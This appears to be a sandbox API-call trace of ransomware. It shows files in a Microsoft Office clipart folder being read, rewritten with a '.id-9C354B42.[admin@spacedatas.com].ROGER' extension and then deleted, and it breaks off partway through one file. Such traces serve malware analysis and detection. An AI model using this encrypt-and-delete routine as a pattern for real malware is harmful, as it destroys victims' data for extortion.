lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.194] lstrlenW (lpString=".jpg") returned 4 [0054.194] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.194] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0054.194] lstrlenW (lpString="AG00037_.GIF") returned 12 [0054.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0055.599] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=6684) returned 1 [0055.599] CloseHandle (hObject=0x3f8) returned 1 [0055.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0055.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0055.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0055.862] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.865] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0056.009] GetLastError () returned 0x0 [0056.009] ReadFile (in: hFile=0x3f8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x1a1c, lpOverlapped=0x0) returned 1 [0056.079] WriteFile (in: hFile=0x39c, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1a20, lpOverlapped=0x0) returned 1 [0056.080] ReadFile (in: hFile=0x3f8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.080] WriteFile (in: hFile=0x39c, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.080] SetEndOfFile (hFile=0x39c) returned 1 [0056.080] CloseHandle (hObject=0x39c) returned 1 [0056.080] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.080] SetEndOfFile (hFile=0x3f8) returned 1 [0056.081] CloseHandle (hObject=0x3f8) returned 1 [0056.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0056.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0056.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0056.082] lstrlenW (lpString=".doc") returned 4 [0056.082] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.082] lstrlenW (lpString=".docx") returned 5 [0056.082] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.082] lstrlenW (lpString=".pdf") returned 4 [0056.082] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.082] lstrlenW (lpString=".xls") returned 4 [0056.082] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.082] lstrlenW (lpString=".xlsx") returned 5 [0056.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.082] lstrlenW (lpString=".ppt") returned 4 [0056.082] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0056.082] lstrlenW (lpString=".zip") returned 4 [0056.082] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.082] lstrlenW (lpString=".rar") returned 4 [0056.082] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.082] lstrlenW (lpString=".bz2") returned 4 [0056.082] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.082] lstrlenW (lpString=".7z") returned 3 [0056.082] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0056.082] lstrlenW (lpString=".dbf") returned 4 [0056.082] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0056.082] lstrlenW (lpString=".1cd") returned 4 [0056.082] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0056.082] lstrlenW (lpString=".jpg") returned 4 [0056.082] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0056.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0056.083] lstrlenW (lpString=".doc") returned 4 [0056.083] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.083] lstrlenW (lpString=".docx") returned 5 [0056.083] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.083] lstrlenW (lpString=".pdf") returned 4 [0056.083] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.083] lstrlenW (lpString=".xls") returned 4 [0056.083] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.083] lstrlenW (lpString=".xlsx") returned 5 [0056.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.083] lstrlenW (lpString=".ppt") returned 4 [0056.083] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0056.083] lstrlenW (lpString=".zip") returned 4 [0056.083] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.083] lstrlenW (lpString=".rar") returned 4 [0056.083] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.083] lstrlenW (lpString=".bz2") returned 4 [0056.083] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.083] lstrlenW (lpString=".7z") returned 3 [0056.083] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0056.083] lstrlenW (lpString=".dbf") returned 4 [0056.083] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0056.083] lstrlenW (lpString=".1cd") returned 4 [0056.083] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 63 [0056.083] lstrlenW (lpString=".jpg") returned 4 [0056.083] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.084] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.084] lstrlenW (lpString="AG00052_.GIF") returned 12 [0056.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.084] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=7686) returned 1 [0056.084] CloseHandle (hObject=0x3f8) returned 1 [0056.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0056.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.084] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.084] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0056.085] GetLastError () returned 0x0 [0056.085] ReadFile (in: hFile=0x3f8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x1e06, lpOverlapped=0x0) returned 1 [0056.113] WriteFile (in: hFile=0x39c, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1e10, lpOverlapped=0x0) returned 1 [0056.113] ReadFile (in: hFile=0x3f8, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.113] WriteFile (in: hFile=0x39c, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.114] SetEndOfFile (hFile=0x39c) returned 1 [0056.114] CloseHandle (hObject=0x39c) returned 1 [0056.114] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.114] SetEndOfFile (hFile=0x3f8) returned 1 [0056.115] CloseHandle (hObject=0x3f8) returned 1 [0056.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0056.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0056.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0056.502] lstrlenW (lpString=".doc") returned 4 [0056.502] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.503] lstrlenW (lpString=".docx") returned 5 [0056.503] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.504] lstrlenW (lpString=".pdf") returned 4 [0056.504] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.505] lstrlenW (lpString=".xls") returned 4 [0056.505] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.506] lstrlenW (lpString=".xlsx") returned 5 [0056.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.507] lstrlenW (lpString=".ppt") returned 4 [0056.507] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0056.509] lstrlenW (lpString=".zip") returned 4 [0056.512] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.513] lstrlenW (lpString=".rar") returned 4 [0056.514] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.514] lstrlenW (lpString=".bz2") returned 4 [0056.514] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.514] lstrlenW (lpString=".7z") returned 3 [0056.514] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0056.516] lstrlenW (lpString=".dbf") returned 4 [0056.516] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0056.518] lstrlenW (lpString=".1cd") returned 4 [0056.518] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0056.519] lstrlenW (lpString=".jpg") returned 4 [0056.520] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0056.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0056.526] lstrlenW (lpString=".doc") returned 4 [0056.527] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.528] lstrlenW (lpString=".docx") returned 5 [0056.528] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.529] lstrlenW (lpString=".pdf") returned 4 [0056.530] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.531] lstrlenW (lpString=".xls") returned 4 [0056.531] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.531] lstrlenW (lpString=".xlsx") returned 5 [0056.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.533] lstrlenW (lpString=".ppt") returned 4 [0056.533] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0056.534] lstrlenW (lpString=".zip") returned 4 [0056.534] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.537] lstrlenW (lpString=".rar") returned 4 [0056.538] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.539] lstrlenW (lpString=".bz2") returned 4 [0056.539] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.540] lstrlenW (lpString=".7z") returned 3 [0056.540] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0056.541] lstrlenW (lpString=".dbf") returned 4 [0056.542] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0056.542] lstrlenW (lpString=".1cd") returned 4 [0056.542] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0056.542] lstrlenW (lpString=".jpg") returned 4 [0056.543] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.545] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.546] lstrlenW (lpString="AG00163_.GIF") returned 12 [0056.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0056.554] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=6984) returned 1 [0056.555] CloseHandle (hObject=0x370) returned 1 [0056.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0056.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0056.558] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.558] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0056.565] GetLastError () returned 0x0 [0056.566] ReadFile (in: hFile=0x370, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x1b48, lpOverlapped=0x0) returned 1 [0056.580] WriteFile (in: hFile=0x3fc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1b50, lpOverlapped=0x0) returned 1 [0057.113] ReadFile (in: hFile=0x370, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.113] WriteFile (in: hFile=0x3fc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.113] SetEndOfFile (hFile=0x3fc) returned 1 [0057.113] CloseHandle (hObject=0x3fc) returned 1 [0057.113] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.113] SetEndOfFile (hFile=0x370) returned 1 [0057.114] CloseHandle (hObject=0x370) returned 1 [0057.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0057.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0057.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0057.180] lstrlenW (lpString=".doc") returned 4 [0057.180] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.180] lstrlenW (lpString=".docx") returned 5 [0057.180] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.180] lstrlenW (lpString=".pdf") returned 4 [0057.180] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.180] lstrlenW (lpString=".xls") returned 4 [0057.180] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.180] lstrlenW (lpString=".xlsx") returned 5 [0057.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.181] lstrlenW (lpString=".ppt") returned 4 [0057.181] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0057.181] lstrlenW (lpString=".zip") returned 4 [0057.181] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.181] lstrlenW (lpString=".rar") returned 4 [0057.181] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.181] lstrlenW (lpString=".bz2") returned 4 [0057.181] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.181] lstrlenW (lpString=".7z") returned 3 [0057.181] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0057.181] lstrlenW (lpString=".dbf") returned 4 [0057.181] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0057.181] lstrlenW (lpString=".1cd") returned 4 [0057.181] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0057.181] lstrlenW (lpString=".jpg") returned 4 [0057.181] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0057.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0057.181] lstrlenW (lpString=".doc") returned 4 [0057.181] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.181] lstrlenW (lpString=".docx") returned 5 [0057.181] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.182] lstrlenW (lpString=".pdf") returned 4 [0057.182] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.182] lstrlenW (lpString=".xls") returned 4 [0057.182] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.182] lstrlenW (lpString=".xlsx") returned 5 [0057.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.182] lstrlenW (lpString=".ppt") returned 4 [0057.182] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0057.182] lstrlenW (lpString=".zip") returned 4 [0057.182] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.182] lstrlenW (lpString=".rar") returned 4 [0057.182] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.182] lstrlenW (lpString=".bz2") returned 4 [0057.182] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.182] lstrlenW (lpString=".7z") returned 3 [0057.182] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0057.182] lstrlenW (lpString=".dbf") returned 4 [0057.182] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0057.182] lstrlenW (lpString=".1cd") returned 4 [0057.182] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0057.182] lstrlenW (lpString=".jpg") returned 4 [0057.182] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.183] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0057.183] lstrlenW (lpString="AG00167_.GIF") returned 12 [0057.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 